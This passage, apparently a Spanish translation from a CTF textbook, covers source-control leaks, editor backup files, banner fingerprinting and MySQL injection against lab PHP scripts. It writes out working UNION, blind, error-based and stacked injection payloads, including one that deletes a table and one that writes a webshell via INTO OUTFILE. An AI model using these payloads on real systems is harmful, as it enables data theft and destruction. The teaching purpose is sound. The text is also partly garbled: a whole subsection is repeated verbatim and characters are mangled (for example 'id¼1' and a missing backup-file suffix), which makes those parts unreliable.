(4) Otros aprovechamientos de fugas de Git Además de la explotación común para recuperar el código fuente, se pueden detectar otros mensajes útiles. Por ejemplo, la carpeta .git/config puede contener información de access_token que permite el acceso a los otros repositorios del usuario.


Fuga de SVN SVN (subversión) es otro software de control de versiones de código fuente. El administrador podría exponer la carpeta oculta del proyecto SVN a servicios públicos (por lo general, el servidor web).

Los hackers podrían descargar el archivo .svn/entries o el archivo wc.db para obtener el código fuente del servidor y otra información. Dos scripts de explotación excelentes: dvcs-ripper (https://github.com/kost/dvcs-ripper) y Seay-svn (explotación de respaldo de código fuente de Windows).

Fuga de HG Cuando inicializas tu proyecto, HG crea una carpeta oculta .hg en la carpeta actual, que contiene instantáneas de código o registros de cambios de ramas. Aquí tienes el script de explotación:

dvcs-ripper (https://github.com/kost/dvcs-ripper).

Experiencia personal Los lectores pueden realizar un desarrollo secundario basado en las herramientas existentes para satisfacer sus propias necesidades. Ya sea una carpeta oculta como .git o carpetas sensibles en el backend como la plataforma de gestión de sitios web, un directorio robusto (lista común de archivos/carpetas sensibles) es clave para encontrarlos. Un script de escaneo de directorios web de código abierto:

dirsearch (https://github.com/maurosoria/dirsearch), incluyendo un directorio predeterminado.

Si obtienes el código de respuesta HTTP 403 en un desafío de CTF al acceder a la carpeta .git, la siguiente acción debería ser acceder a .git/HEAD o al archivo .git/config. Si se muestra el contenido correspondiente del archivo, significa que hay una fuga de Git. Al explotar la fuga de SVN, los códigos fuente o archivos sensibles generalmente se extraen del directorio de entradas, pero a veces el directorio de entradas está vacío. Si es así, presta atención a si el archivo wc.db existe o no, y puedes obtener los archivos sensibles en la carpeta pristine a través del checksum en el wc.db.

1.1.2.2 Archivos de Respaldo Sensibles Con algunos archivos de respaldo sensibles, podemos obtener el código fuente de un archivo o todo el mapa del sitio.

Archivo de respaldo de gedit En Linux, después de guardar con el editor gedit, se creará un archivo con el sufijo "" en el directorio actual, cuyo contenido será el contenido del archivo que acabas de editar. Si el archivo que acabas de guardar se llama flag, entonces el archivo se llamará flag, consulta la Fig. 1.7.

Archivo de respaldo de vim vim es actualmente el editor de texto de Linux más utilizado. Cuando un usuario está editando un archivo y sale de manera anormal (por ejemplo, al conectarse al servidor a través de SSH, el usuario puede encontrarse con un bloqueo de la línea de comandos mientras edita un archivo con vim debido a la velocidad insuficiente de la red), se genera un archivo de respaldo en el directorio actual con el siguiente formato de nombre de archivo. .filename.swp Este archivo se utiliza para hacer una copia de seguridad del contenido del búfer, es decir, el contenido del archivo al salir, como se muestra en la Fig. 1.8.



Para archivos de respaldo SWP, podemos usar el comando "vim -r" para restaurar el contenido del archivo. Para crear un caso de demostración de prueba, ejecuta primero el comando "vim flag" y luego cierra directamente la terminal. Se generará un archivo flag.swp en el directorio actual.
Para recuperar el archivo de respaldo SWP, primero crea un archivo flag en el directorio actual y luego usa el comando "vim -r flag", podrás obtener el contenido del archivo que se editó cuando saliste inesperadamente. Consulta la Fig. 1.9.


Archivos comunes Algunos archivos comunes podrían filtrar mensajes sensibles, y estos archivos son resumidos por expertos y listados en archivos de directorios de scripts de escaneo. Aquí tienes algunos ejemplos.
• robots.txt: registra información sobre algunos directorios y versiones de CMS.
• readme.md: Registra información sobre
versiones de CMS, algunos incluso tienen una dirección de GitHub.
• www.zip/rar/tar.gz: a menudo son códigos fuente de un sitio web.
Experiencia personal Algunos mantenedores de desafíos modifican sus archivos de desafío en línea durante las competiciones en línea de CTF, y se generan archivos de respaldo SWP debido a la función de vim. Por lo tanto, los jugadores podrían obtener involuntariamente códigos fuente o mensajes sensibles.
El archivo de respaldo generado por vim en la primera salida anormal tiene el formato *.swp, la segunda salida podría generar *.swo, *.swn se generaría en la tercera salida. 
El manual oficial de vim también contiene archivos de respaldo con el formato de nombre *.un.filename.swp. Además, en un entorno del mundo real, el respaldo de un sitio web a menudo puede ser un archivo zip con el nombre del dominio (google.zip) o la fecha (2021-7-1.zip).
1.1.2.3 Identificación de Banners En la competición en línea de CTF, la información del banner del sitio web (algunas huellas digitales básicas) juega un papel importante en la resolución de desafíos, y los jugadores a menudo pueden obtener las soluciones a partir de la información del banner. Por ejemplo, si sabemos que el sitio es un servidor de Windows, podemos aprovechar la vulnerabilidad de carga de manera particular según las características de Windows. Aquí están las dos formas más comunes de identificar banners.
Recopila tu base de datos de huellas digitales Hay varias huellas digitales de CMS disponibles públicamente en GitHub que los lectores pueden encontrar por sí mismos y algunos escáneres web conocidos para identificar sitios web.
Utiliza herramientas existentes Podemos hacer uso de python-Wappalyzer, que es una biblioteca de Python. El código de demostración se muestra a continuación.
$ pip install python-Wappalyzer >>> from Wappalyzer import Wappalyzer, WebPage >>> wappalyzer = Wappalyzer.latest() >>>
webpage = WebPage.new_from_url('http://example.com') >>> wappalyzer.analyze(webpage) set([u'EdgeCast']) El archivo apps.json incluye reglas en el directorio de datos, y los lectores pueden modificarlo según sus necesidades.
Experiencia personal Al realizar la detección de información de banners en el servidor, también podemos intentar ingresar algunas URL al azar y, a veces, podemos encontrar información a través de las páginas de error 404 y las páginas de redireccionamiento 302. Por ejemplo, el servidor ThinkPHP (un tipo de aplicación web) con la opción de depuración activada mostrará la versión de ThinkPHP en las páginas de error.

Para archivos de respaldo SWP, podemos usar el comando "vim -r" para restaurar el contenido del archivo. Para crear un caso de demostración de prueba, ejecuta primero el comando "vim flag" y luego cierra directamente la terminal. Se generará un archivo flag.swp en el directorio actual.
Para recuperar el archivo de respaldo SWP, primero crea un archivo flag en el directorio actual y luego usa el comando "vim -r flag", podrás obtener el contenido del archivo que se editó cuando saliste inesperadamente. Consulta la Fig. 1.9.

Archivos comunes Algunos archivos comunes podrían filtrar mensajes sensibles, y estos archivos son resumidos por expertos y listados en archivos de directorios de scripts de escaneo. Aquí tienes algunos ejemplos.
• robots.txt: registra información sobre algunos directorios y versiones de CMS.
• readme.md: Registra información sobre
versiones de CMS, algunos incluso tienen una dirección de GitHub.
• www.zip/rar/tar.gz: a menudo son códigos fuente de un sitio web.
Experiencia personal Algunos mantenedores de desafíos modifican sus archivos de desafío en línea durante las competiciones en línea de CTF, y se generan archivos de respaldo SWP debido a la función de vim. Por lo tanto, los jugadores podrían obtener involuntariamente códigos fuente o mensajes sensibles.
El archivo de respaldo generado por vim en la primera salida anormal tiene el formato *.swp, la segunda salida podría generar *.swo, *.swn se generaría en la tercera salida. 
El manual oficial de vim también contiene archivos de respaldo con el formato de nombre *.un.filename.swp. Además, en un entorno del mundo real, el respaldo de un sitio web a menudo puede ser un archivo zip con el nombre del dominio (google.zip) o la fecha (2021-7-1.zip).
1.1.2.3 Identificación de Banners En la competición en línea de CTF, la información del banner del sitio web (algunas huellas digitales básicas) juega un papel importante en la resolución de desafíos, y los jugadores a menudo pueden obtener las soluciones a partir de la información del banner. Por ejemplo, si sabemos que el sitio es un servidor de Windows, podemos aprovechar la vulnerabilidad de carga de manera particular según las características de Windows. Aquí están las dos formas más comunes de identificar banners.
Recopila tu base de datos de huellas digitales Hay varias huellas digitales de CMS disponibles públicamente en GitHub que los lectores pueden encontrar por sí mismos y algunos escáneres web conocidos para identificar sitios web.
Utiliza herramientas existentes Podemos hacer uso de python-Wappalyzer, que es una biblioteca de Python. El código de demostración se muestra a continuación.
$ pip install python-Wappalyzer >>> from Wappalyzer import Wappalyzer, WebPage >>> wappalyzer = Wappalyzer.latest() >>>
webpage = WebPage.new_from_url('http://example.com') >>> wappalyzer.analyze(webpage) set([u'EdgeCast']) El archivo apps.json incluye reglas en el directorio de datos, y los lectores pueden modificarlo según sus necesidades.
Experiencia personal Al realizar la detección de información de banners en el servidor, también podemos intentar ingresar algunas URL al azar y, a veces, podemos encontrar información a través de las páginas de error 404 y las páginas de redireccionamiento 302. Por ejemplo, el servidor ThinkPHP (un tipo de aplicación web) con la opción de depuración activada mostrará la versión de ThinkPHP en las páginas de error.



Inyección de SQL en CTF Durante el proceso de desarrollo de aplicaciones web, muchos desarrolladores utilizan bases de datos para el almacenamiento de datos a fin de actualizar rápidamente los contenidos. Debido a la falta de un filtrado estricto de la entrada del usuario, el atacante podría inyectar posibles cargas de ataque en declaraciones de consulta SQL y luego pasar estas declaraciones de consulta a la base de datos del backend para su ejecución, lo que resulta en una situación en la que las declaraciones reales se ejecutaron de manera inconsistente. Este ataque se conoce como un ataque de inyección SQL.
La mayoría de las aplicaciones almacenan datos como contraseñas en la base de datos. Los ataques de inyección SQL pueden filtrar información sensible en el sistema, lo que lo convierte en una vulnerabilidad de nivel de entrada en el sistema web. Por lo tanto, la mayoría de las competiciones CTF consideran la inyección SQL como un punto desafiante, y la vulnerabilidad de inyección SQL es una de las vulnerabilidades más comunes en aplicaciones del mundo real.
Este capítulo describe los principios, exploits, defensas y métodos de bypass de la inyección SQL. Dado el límite de espacio y la similitud de los principios de la inyección SQL, solo se cubren los ataques de inyección más utilizados contra bases de datos MySQL durante las competiciones, sin más detalles sobre Access, Microsoft SQL Server, NoSQL, etc. El lector debe tener algún conocimiento básico de SQL y PHP para leer este capítulo.
1.2.1 Fundamentos de la Inyección SQL La inyección de SQL es una técnica en la que los desarrolladores no filtran estrictamente la entrada del usuario, lo que hace que la entrada del usuario afecte la función de consulta y, finalmente, provoque la filtración, modificación o incluso eliminación de la información original de la base de datos. Esta sección utiliza ejemplos simples para introducir en detalle los fundamentos de la inyección SQL, incluida la inyección de SQL numérica, la inyección de SQL UNION, la inyección de SQL de caracteres, la inyección de SQL basada en booleanos ciegos, la inyección de SQL basada en tiempo, la inyección de SQL basada en errores, la inyección de SQL basada en pila y otros tipos de inyección correspondientes a las técnicas de explotación.
【Entorno de Prueba】 Ubuntu 16.04 (Dirección IP: 192.168.20.133), Apache, MySQL 5.7, PHP 7.2.
1.2.1.1 Inyección de SQL Numérica e Inyección de SQL UNION El fragmento de código PHP para el primer ejemplo (sql1.php) se muestra a continuación (ver los comentarios para la introducción del código).
sql1.php <?php // Conectar a MySQL local con una base de datos de prueba.
$conn = mysqli_connect("127.0.0.1","root","root","test");
// Consultar los campos de título y contenido de la tabla wp_news, id es el valor de entrada del usuario.


La estructura de la tabla de la base de datos se muestra en la Figura 1.10. Los contenidos de la tabla de noticias wp_news se muestran en la Figura 1.11. Los contenidos de la tabla de usuarios wp_user se muestran en la Figura 1.12.

El objetivo de esta sección es convertir la consulta de la tabla de noticias en una consulta para las columnas de la tabla de administradores (generalmente el administrador) 'account' y 'password' (por lo general, la contraseña es un valor hash, pero aquí se muestra en texto plano como this_is_the_admin_password para la demostración) cambiando el valor de 'id' ingresado en el método GET de HTTP. La cuenta y la contraseña del administrador son las credenciales esenciales de un sistema web, lo que permite a un atacante iniciar sesión en el sistema backend y controlar todo el sistema web.
Los resultados se muestran en la Figura 1.13.
La página muestra los mismos resultados que la primera fila de id¼1 en la tabla de noticias wp_news en la Figura 1.11. PHP ha inyectado el valor id¼1 pasado por el método GET en la consulta SQL anterior. La consulta SQL original es la siguiente.
$res = mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id=". $_GET['id']);
Se recibe una solicitud desde http://192.168.20.133/sql1.php?id¼1, a $_GET['id'] se le asigna un valor de 1. La consulta final pasada a MySQL es la siguiente.
SELECT title, content FROM wp_news WHERE id = 1 Podemos obtener el mismo resultado consultando directamente en MySQL, consulta la Figura 1.14.
El contenido de la mayoría de los sitios web en Internet hoy en día se almacena en bases de datos, y los registros correspondientes se consultan desde la base de datos a través de parámetros como el id entrante del usuario y luego se muestran en el navegador, como "2" en http://192.168.20.133/sql1.php?id=2. El resultado está en la Figura 1.15.
Los siguientes procedimientos demuestran un ataque SQLi utilizando el parámetro id ingresado por el usuario.
Al visitar el enlace http://192.168.20.133/sql1.php?id=2, la figura 16 muestra el registro con id=2 en la Figura 1.11. Luego, al visitar el enlace http://192.168.20.133/sql1.php?id=3-1, la página sigue mostrando el registro con id=2, como se muestra en la figura 1.17. Este fenómeno significa que MySQL calcula la expresión "3-1" y obtiene 2, luego consulta el registro con id=2

A partir del comportamiento del cálculo numérico, podemos deducir que el punto de inyección es una inyección numérica de SQL, como lo demuestra la falta de comillas alrededor del punto de entrada de la variable "$_GET['id']" (lo cual también se evidencia por el código fuente). Luego, podemos ingresar directamente una subconsulta SQL para contaminar la consulta original (consulte la Figura 1.18 para los resultados).


El propósito de esta declaración SQL es consultar los datos en los campos de título y contenido de las filas correspondientes de la tabla de noticias cuando id¼1, y hacer una consulta conjunta de todos los contenidos de los campos de usuario y pwd (es decir, los campos de cuenta y contraseña) en la tabla de usuarios.
Al acceder a la aplicación web, solo debemos ingresar el contenido después del id para acceder al enlace: http://192.168.20.133/sql1.php?id=1 union select user,pwd from wp_user. El resultado se muestra en la Figura 1.19, donde el "%20" es el resultado de la codificación URL del espacio. El navegador automáticamente codifica en URL los caracteres especiales en el URI, y el servidor decodifica automáticamente la URL cuando recibe la solicitud.




Sin embargo, la Figura 1.19 no muestra el contenido del usuario y la contraseña como se esperaba. MySQL consulta dos filas, pero el código PHP dicta que solo se muestre una fila en la página, por lo que necesitamos controlar el resultado de usuario y contraseña en la primera fila del resultado de la consulta. Hay varias formas de hacerlo, como continuar inyectando el "limit 1,1" en la consulta original (lo que muestra la segunda fila del resultado de la consulta, consulta la Figura 1.20). El "limit 1,1" es una calificación que toma un registro de una fila de la segunda fila. En otro ejemplo, podríamos especificar id=-1 o un valor enorme para que la primera fila en la Figura 1.18 no se pueda consultar (ver Figura 1.21), lo que resulta en solo una fila (ver Figura 1.22)."

Por lo general, el método mostrado en la Figura 1.22 se utiliza para controlar las filas de resultados. Al acceder a http://192.168.20.133/sql1.php?id=-1 union select user, pwd from wp_user, el resultado se muestra en la Figura 1.23.
El enfoque de inyección para presentar datos en una página utilizando la instrucción UNION se conoce comúnmente como inyección de UNION (consulta de unión).
Dado que ya conocemos la estructura de la base de datos en el ejemplo que acabamos de dar, ¿cómo sabemos el nombre del campo 'pwd' y el nombre de la tabla 'wp_user' en las pruebas de penetración a ciegas?
Después de la versión 5.0 de MySQL, viene con una base de datos 'information_schema' por defecto, desde la cual se pueden consultar todos los nombres de bases de datos, nombres de tablas y nombres de campos de MySQL. Aunque la introducción de esta base de datos facilita la consulta de información de la base de datos, objetivamente también facilita en gran medida la explotación de la inyección SQL.
Comencemos con un caso de inyección real. Supongamos que no sabemos nada sobre la base de datos objetivo, lo primero que debemos hacer es determinar si hay una inyección numérica mediante el mismo resultado de la página de id=3-1 e id=2 (es decir, si la Figura 1.16 coincide con la Figura 1.17), y luego usamos una consulta de unión para encontrar todos los otros nombres de tablas en la base de datos. El proceso de inyección correspondiente es visitar la URL como http:// 192.168.20.133/sql1.php?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(), los resultados se muestran en la Figura 1.24."




La columna 'table_name' representa el nombre de la tabla de las tablas registradas en information_schema. También hay una columna de nombre de base de datos llamada 'table_schema' en information_schema. El resultado devuelto por la función database() es el nombre de la base de datos actualmente seleccionada, y group_concat() es una función que utiliza "," para combinar múltiples filas de registros. En otras palabras, esta declaración puede consultar conjuntamente todos los (de hecho, un límite de longitud específico) nombres de tablas en la base de datos actual y combinarlos en una sola celda. La consistencia de los resultados en las Figuras 1.24 y 1.25 también demuestra la validez de la afirmación. De esta manera, puedes obtener una de las tablas existentes llamada wp_user.
De manera similar, las columnas 'table' y su columna de nombre de campo 'column_name' podrían ayudar a consultar todos los nombres de columna de la tabla wp_user. Al acceder a http://192.168.20.133/sql1.php?id=-1 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'wp_user', puedes obtener el nombre de columna correspondiente, consulta la Figura 1.26.

En este punto, el primer ejemplo ha terminado. La clave de la inyección numérica de SQL es encontrar el punto de entrada del usuario. Luego, a través de adición, sustracción, multiplicación, división, etc., se puede juzgar si hay comillas que rodean el parámetro de entrada en una consulta SQL. Algunos métodos de ataque generales podrían ser explotados para obtener información sensible en la base de datos.
1.2.1.2 Inyección de SQL basada en caracteres y booleana ciega A continuación, se muestra una modificación simple del código fuente de sql1.php a sql2.php, como se muestra a continuación.
sql2.php <?php $conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id = '".$_GET['id']."'");
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?> En comparación con sql1.php, envuelve comillas simples alrededor de la entrada del parámetro GET, convirtiéndolo en una cadena para consultar en MySQL.
SELECT title, content FROM wp_news WHERE id = '1';
Los resultados se muestran en la Figura 1.27.
En MySQL, si los tipos de datos en ambos lados de la expresión del signo igual son inconsistentes, ocurrirá una conversión de tipo forzada. Cuando se compara un número con datos de cadena, la cadena se convertirá en un número y luego se comparará, como se muestra en la Figura 1.28. La cadena 1 es igual a un número; la cadena 1a se convierte forzosamente en 1, igual a 1; la cadena a se convierte forzosamente en 0, por lo que es igual a 0.
Siguiendo esta característica, es fácil determinar si el punto de entrada se basa en caracteres, es decir, si está rodeado de comillas (ya sea comillas simples o dobles, en la mayoría de los casos comillas simples).
Visita http://192.168.20.133/sql2.php?id=3-2, y el resultado se puede ver en la Figura 1.29. La página está vacía, por lo que podríamos suponer que no se trata de una inyección de tipo numérico, sino probablemente una inyección de tipo caracter. Continúa intentando acceder a http://192.168.20.133/sql2.php?id=2a, y el resultado se puede ver en la Figura 1.30, lo que indica que realmente es una inyección de tipo caracter.



Intenta cerrar las comillas simples anteriores con comillas simples y luego comenta el resto de la declaración con '--%20' o '%23'. Ten en cuenta que la entrada debe estar codificada en URL, con '%20' para los espacios y '%23' para '#'.
Visita http://192.168.20.133/sql2.php?id¼2%27%23, y los resultados se muestran en la Figura 1.31.
El contenido se muestra correctamente, y la declaración MySQL es la siguiente.
SELECT title, content FROM wp_news WHERE id = '2'#' La comilla simple ingresada cierra la comilla simple anterior, y el símbolo '#' ingresa comenta la comilla simple original de la consulta. La consulta se ejecuta con éxito, y los siguientes pasos son consistentes con la inyección numérica en la Sección 1.2.1.1, y los resultados se muestran en la Figura 1.32.
Por supuesto, además de los comentarios, también puedes usar comillas simples para cerrar la comilla simple original de la consulta, consulta la Figura 1.33.
Visita http://192.168.20.133/sql2.php?id=1' y '1, y el estado de la consulta de la base de datos se muestra en la Figura 1.34. Las declaraciones después de la palabra clave 'WHERE' representan la condición de la operación SELECT. Tomando el caso anterior como ejemplo, 'id=1' es la condición de consulta. Aquí, la palabra clave 'AND' representa dos condiciones que deben cumplirse, (1)id=1 ;(2)'1'==true. La segunda condición siempre se cumplirá ya que la cadena '1' se convierte en 1(lo cual es igual a true). La base de datos solo necesita consultar la fila con id=1.

Observa nuevamente la declaración mostrada en la Figura 1.35: la primera condición sigue siendo id=1, y la segunda condición 'a' se convierte forzosamente en un valor lógico falso, por lo que la condición no se cumple y el resultado de la consulta está vacío. Cuando la página se muestra como de costumbre, se puede probar que la condición después del AND es verdadera, y cuando la página se muestra en blanco, la condición después del AND es falsa. Aunque no vemos los datos directamente, podemos inferir los datos mediante la inyección, una técnica conocida como inyección SQL de tipo ciego basada en booleanos.
Aquí están los detalles técnicos sobre la inyección SQL de tipo ciego basada en booleanos. Por ejemplo, si los datos sensibles tienen solo un byte, primero intenta ver si los datos son 'a'. Si lo son, la página se mostrará como 'id=1' (primera condición). De lo contrario, la página estará en blanco. Si el carácter que se está adivinando es 'f', ve a ve a http://192.168.20.133/sql2.php?id=1' and sensitive_data=‘a’, adivina 'a' y falla, intenta con 'b', 'c', 'd', 'e', y falla hasta que intentes con 'f', ganas y la página se muestra como 'id=1'. Mira el resultado en la Figura 1.36.
Por supuesto, el proceso de adivinanza anterior es demasiado lento. Podemos cambiar el símbolo y usar '<' para adivinar caracteres por rango. Ve al enlace http://192.168.20.133/sql2.php?id=1' and sensitive_data < ‘n’ para saber rápidamente que se está adivinando el código ASCII del carácter es menor que el código ASCII del carácter 'n', y luego utiliza el algoritmo de búsqueda de dicotomía para seguir adivinando el carácter sensible.
El caso anterior es solo en una condición de un solo carácter, pero en realidad, la mayoría de los datos en la base de datos no son un solo carácter, entonces ¿cómo obtenemos cada byte de datos en este caso? La respuesta es utilizar las propias funciones de MySQL para la interceptación de datos, como substring(), mid() y substr(), consulta Figura 1.37.



El principio de la inyección SQL de tipo ciego basada en booleanos se ha descrito brevemente anteriormente, así que ahora lo utilizaremos para obtener la contraseña del administrador. Consulta en MySQL (ver Figura 1.38 para los resultados).

SELECT concat(user, 0x7e, pwd) FROM wp_user
Después intercepta el primer bit de datos (vea Fig. 1.39 para ver los resultados).
SELECT MID((SELECT concat(user, 0x7e, pwd) FROM wp_user), 1, 1) Entonces para completar la solictud de exploits sql es así:

Visita http://192.168.20.133/sql2.php?id=1' and(select mid((select concat (user,0x7e,pwd) from wp_user),1,1)) =‘a’%23 y el resultado se muestra en la Figura 1.40. Para interceptar el segundo byte, accede a http://192.168.20.133/sql2.php?id=1' and (select mid((select concat(user,0x7e,pwd) from wp_user),2,1))=‘d’%23, el resultado es consistente con la Figura 1.40, que muestra que el carácter en la segunda posición es 'd'. Y basado en este método, podríamos obtener los demás bytes. La inyección SQL de tipo ciego es común para obtener datos sensibles a través de los
diferentes contenidos de las respuestas de las páginas. En algunos casos, las respuestas de las páginas son estáticas, por lo que es necesario determinar el resultado de la inyección SQL de otras maneras, como la demora de tiempo, que se puede ver en la Figura 1.41. Al modificar los parámetros de la función sleep(), podemos hacer que la demora sea más larga para asegurarnos de que la demora sea causada por la inyección y no por el procesamiento normal de la consulta. A diferencia de los resultados instantáneos de la inyección SQL de tipo ciego, la función sleep() aprovecha las características de cortocircuito de la instrucción IF o las palabras clave AND/OR y el tiempo de ejecución de la consulta SQL para determinar el resultado del ataque de inyección SQL, lo que se conoce como inyección de tipo ciego basada en tiempo. Su estructura de ataque es similar a la de tipo ciego basada en booleanos, por lo que no se necesitan más ejemplos específicos aquí.
A veces, para facilitar la depuración por parte de los desarrolladores, algunos sitios web habilitarán mensajes de depuración de errores. El fragmento de código de demostración se muestra en sql3.php.

sql3.php <?php $conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id = '".$_GET['id']."'") OR VAR_DUMP(mysqli_error($conn));
// Mostrar el error 
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?> Este tipo de ataque se llama inyección SQL de tipo Error, porque MySQL presenta el mensaje de error después de la ejecución, como se muestra en la figura 1.42.
Como puedes ver en la documentación, el segundo parámetro de la función updatexml() debería ser una ruta XPATH legal cuando se ejecuta. De lo contrario, mostrará el parámetro entrante y generará un error, como se muestra en la Figura 1.43.

Usando esta característica, para un ejemplo de visualización de errores, pasa la información sensible que queremos al segundo parámetro de la función updatexml. Intenta acceder al enlace http://192.168.20.133/sql3.php?id=1' or updatexml(1, concat(0x7e, (select pwd from wp_user)), 1)%23. El resultado se muestra en la Figura 1.44.




Además, cuando el servidor objetivo habilita la ejecución de múltiples declaraciones, se pueden modificar datos de la base de datos arbitraria mediante la ejecución de múltiples declaraciones. Este tipo de entorno de inyección se llama inyección SQL apilada.

El fragmento de código fuente se muestra en sql4.php.

<?php
$db = new PDO("mysql:host=localhost:3306;dbname=test", 'root', 'root');
$sql = "SELECT title, content FROM wp_news WHERE id='". $_GET['id']."'";

try {
    foreach ($db->query($sql) as $row) {
        print_r($row);
    }
} catch (PDOException $e) {
    echo $e->getMessage();
    die();
}
?>
En esta situación, puedes ejecutar cualquier declaración SQL después de cerrar las comillas simples, como intentar acceder a http://192.168.20.133/sql4.php?id=1%27;delete%20%20from%20wp_files;%23 en un navegador. El resultado se puede ver en la Figura 1.45.




Esta acción ha eliminado todos los datos de la tabla wp_files.
Esta sección presenta la inyección SQL de tipo numérico, la inyección UNION, la inyección booleana a ciegas, la inyección de tiempo a ciegas y la inyección de tipo error como base para inyecciones SQL avanzadas. Estas técnicas de inyección se priorizan para facilitar la filtración de datos: inyección UNION > inyección de tipo error > inyección de ceguera booleana > inyección de ceguera de tiempo.
Las inyecciones apiladas están fuera del alcance de la clasificación, ya que a menudo es necesario usarlas en combinación con otras técnicas para obtener datos.

Puntos de Inyección. Esta sección discutirá las técnicas de inyección SQL a partir de la sintaxis de las declaraciones SQL en diferentes ubicaciones de puntos de inyección.

1.2.2.1 Inyección en SELECT. La declaración SELECT se utiliza para consultar registros de datos y a menudo se utiliza para mostrar una interfaz, como el contenido de noticias, etc. La sintaxis de la declaración SELECT es la siguiente.
SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr[, select_expr . . .] [FROM table_references [PARTITION partition_list] [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], . . . [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], . . .] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [INTO OUTFILE 'nombre_archivo' [CHARACTER SET nombre_charset] opciones_exportación | INTO DUMPFILE 'nombre_archivo' | INTO nombre_var[, nombre_var]] [FOR UPDATE | LOCK IN SHARE MODE]].
Punto de inyección en select_expr. El código fuente se muestra en sqln1.php.
sqln1.php <?php $conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT ${_GET['id']}, content FROM wp_news");
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";"




En esta situación, puedes emplear el método de inyección de tipo ciego por tiempo de la Sección 1.2.1.2 para obtener datos sensibles. Sin embargo, según la sintaxis de MySQL, tenemos una forma mejor de mostrar los resultados de la consulta directamente en la interfaz utilizando la palabra clave AS para alias. Accede al enlace http://192.168.20.133/sqln1.php?id=(select%20pwd%20from%20wp_user)%20as%20title, como se muestra en la Figura 1.46.
Punto de inyección en table_reference. Sustituye la declaración de consulta SQL anterior por la siguiente.
$res = mysqli_query($conn, "SELECT title FROM ${_GET['table']}");
Todavía podemos recuperar los datos directamente utilizando alias, como SELECT title FROM (SELECT pwd AS title FROM wp_user)x.
Por supuesto, si no conoces el nombre exacto de la tabla, puedes obtener los nombres de las tablas de la tabla information_schema.tables primero.
Para los puntos de inyección en select_expr y table_reference, las comillas deben cerrarse primero si la entrada del usuario está envuelta en comillas. Los lectores pueden probar las declaraciones específicas localmente.

El punto de inyección es después de WHERE o HAVING. La declaración de consulta SQL es la siguiente.
$res = mysqli_query($conn, "SELECT title FROM wp_news WHERE id = ${_GET['id']}");
Esta situación ya ha sido discutida en la Sección 1.2.1, Conceptos básicos de inyección, y es la situación más común en las aplicaciones del mundo real. La situación es similar para el punto de inyección después de HAVING.
El punto de inyección es después de GROUP BY u ORDER BY. Cuando te encuentres con un punto de inyección que no esté después de WHERE, pruébalo en tu entorno local de MySQL para ver qué puedes agregar después de la declaración para determinar dónde está el punto de inyección, y luego haz la inyección en consecuencia. Supongamos el siguiente código.
$res = mysqli_query($conn, "SELECT title FROM wp_news GROUP BY ${_GET['title']}");
Después de probar, se descubrió que title¼id desc, (if(1, sleep(1), 1)) provoca un retraso de 1 segundo en la respuesta, por lo que puedes utilizar el método de inyección por tiempo para obtener datos sensibles.
Los casos de esta sección siguen siendo comunes incluso después de que la mayoría de los desarrolladores se han vuelto conscientes de la seguridad. Esto se debe principalmente a que los desarrolladores no pueden usar métodos precompilados para manejar tales parámetros al escribir marcos de sistemas. Es posible defenderse contra estas inyecciones simplemente listando los valores de entrada permitidos.

El punto de inyección es después de LIMIT. Al cambiar el número de límite, la página mostrará más o menos registros. Debido a las limitaciones de sintaxis, el método de inyección de caracteres anterior no es adecuado (solo se pueden inyectar números después de LIMIT). Alternativamente, podemos intentar la inyección utilizando la palabra clave PROCEDURE basada en la sintaxis de SELECT, que solo está disponible en versiones de MySQL anteriores a 5.6, como se muestra en la Figura 1.47.




También es posible inyectar basándose en el tiempo, como sigue.
PROCEDURE analyse((SELECT extractvalue(1, concat(0x3a, (IF(MID(VERSION(), 1, 1) LIKE 5, BENCHMARK(5000000, SHA1(1)), 1))))), 1).
El tiempo de procesamiento de la declaración BENCHMARK es de aproximadamente 1 segundo. También podemos usar la palabra clave INTO OUTFILE para escribir un webshell en el directorio web en ciertas circunstancias en las que tengamos permisos de escritura. La consulta es SELECT xx INTO outfile "/tmp/xxx.php" LINES TERMINATED BY '<?php phpinfo();?>', como se muestra en la Figura 1.48."
Inyección en la Declaración INSERT. La declaración INSERT es un tipo que inserta registros en una tabla y generalmente se utiliza en el diseño web donde se agregan noticias, los usuarios se registran y hacen comentarios en los artículos, etc. La sintaxis de la declaración INSERT es la siguiente.
INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE] [INTO] tbl_name [PARTITION (partition_name [, partition_name] ...)] [(col_name [, col_name] ...)] {VALUES | VALUE} (value_list) [, (value_list)] ...
[ON DUPLICATE KEY UPDATE assignment_list] INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE] [INTO] tbl_name [PARTITION (partition_name [, partition_name] ...)] SET assignment_list [ON DUPLICATE KEY UPDATE assignment_list] INSERT [LOW_PRIORITY | HIGH_PRIORITY] [IGNORE] [INTO] tbl_name [PARTITION (partition_name [, partition_name] ...)] [(col_name [, col_name] ...)] SELECT [ON DUPLICATE KEY UPDATE assignment_list]

Por lo general, el punto de inyección se encuentra en el nombre del campo o en el valor del campo, y no hay mensaje de respuesta después de la ejecución de la declaración INSERT.
